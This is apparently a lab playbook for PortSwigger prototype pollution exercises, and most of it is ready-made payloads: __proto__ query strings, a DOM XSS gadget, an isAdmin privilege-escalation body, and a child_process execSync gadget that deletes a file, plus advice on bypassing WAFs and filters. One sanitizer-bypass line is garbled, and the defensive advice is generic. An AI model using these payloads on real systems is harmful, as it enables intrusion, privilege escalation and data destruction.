akashrpatil Prototype Pollution — Complete Deep Dive
Deep-Dive Lab Playbook — Every PortSwigger lab variant with exact payloads, bypass techniques, and zero-day extensions. 🟢 Apprentice 🟡 Practitioner 🔴 Expert
When to Use
- BSCP certification prep
- Real-world bug bounty hunting
- Building exploitation chains
- Understanding bypass techniques
Prerequisites
- Burp Suite Professional
- Burp Collaborator / interactsh
- Browser with proxy configured
Workflow
Phase 1: Reconnaissance
- Identify input vectors, parameters, and application behavior.
Phase 2: Exploitation
- Apply standard lab payloads.
Phase 3: Zero-Day Escalation
- Fuzz filters, bypass WAFs, and chain with other vulns.
Lab Playbooks
Lab 1: Client-side via browser APIs 🟡 PRACTITIONER
?__proto__[testproperty]=testvalue
Check: Object.prototype.testproperty in console → if testvalue = polluted.
Lab 2: DOM XSS via client-side PP 🟡 PRACTITIONER
Find a gadget (property used in a sink):
?__proto__[transport_url]=data:,alert(1)//
Lab 3: Alternative PP vector 🟡 PRACTITIONER
?__proto__[sequence]=alert(1)-
Or: constructor.prototype instead of __proto__.
Lab 4: Flawed sanitization bypass 🟡 PRACTITIONER
con].__pro__] patterns if sanitizer strips __proto__. Try constructor[prototype] or nested __pro__proto__to__.
Lab 5: Third-party library PP 🟡 PRACTITIONER
Library-specific gadgets. Use DOM Invader (Burp) to auto-detect pollutable properties and gadgets.
Lab 6: Server-side privilege escalation 🟡 PRACTITIONER
{"__proto__":{"isAdmin":true}}
Pollute Object.prototype → all objects inherit isAdmin: true.
Lab 7: Detect without reflection 🟡 PRACTITIONER
{"__proto__":{"status":555}}
If response code changes to 555 → server-side pollution confirmed.
Lab 8: Bypass flawed input filters 🟡 PRACTITIONER
{"constructor":{"prototype":{"isAdmin":true}}}
Or: {"__proto__":{"json spaces":10}} → response formatting changes = confirmed.
Lab 9: Server-side RCE 🔴 EXPERT
{"__proto__":{"shell":"node","NODE_OPTIONS":"--require /proc/self/environ"}}
Or via child_process gadget: {"__proto__":{"execArgv":["--eval=require('child_process').execSync('rm /home/carlos/morale.txt')"]}}}
Lab 10: Exfiltrate sensitive data 🔴 EXPERT
{"__proto__":{"content-type":"application/json","json spaces":10}}
Then find property that leaks data in reflected responses.
Blue Team Detection
- Monitor access logs for anomalous payloads.
- Implement strict input validation and parameterized queries where applicable.
- Create WAF rules masking generic attack patterns.
Zero-Day Research
When standard technique fails:
- Identify the filter/WAF
- Fuzz with Burp Intruder custom wordlists
- Search GitHub/Twitter for new bypasses
- Chain with other vulns for escalation
- Try encoding variants: URL, double-URL, unicode, hex
Key Concepts
| Concept | Description |
|---|---|
| PortSwigger Vectors | Standardized approaches to vulnerability classes. |
| Payload Encoding | Modifying payloads to bypass basic string matching WAFs. |
Output Format
Vulnerability Deep-Dive Report
==============================
Target Vector: [Endpoint]
Bypass Technique: [Explanation of bypass]
Payload Used: [Payload]
Impact Explanation: [Impact]
🔵 Blue Team
- Deploy robust WAF rules to detect anomalies.
- Monitor logs for unusual access patterns.
🛡️ Remediation & Mitigation Strategy
- Input Validation: Sanitize and strictly type-check all inputs.
- Least Privilege: Constrain component execution bounds.
📚 Shared Resources
For cross-cutting methodology applicable to all vulnerability classes, see:
_shared/references/elite-chaining-strategy.md— Exploit chaining methodology and high-payout chain patterns_shared/references/elite-report-writing.md— HackerOne-optimized report writing, CWE quick reference_shared/references/real-world-bounties.md— Verified disclosed bounties by vulnerability class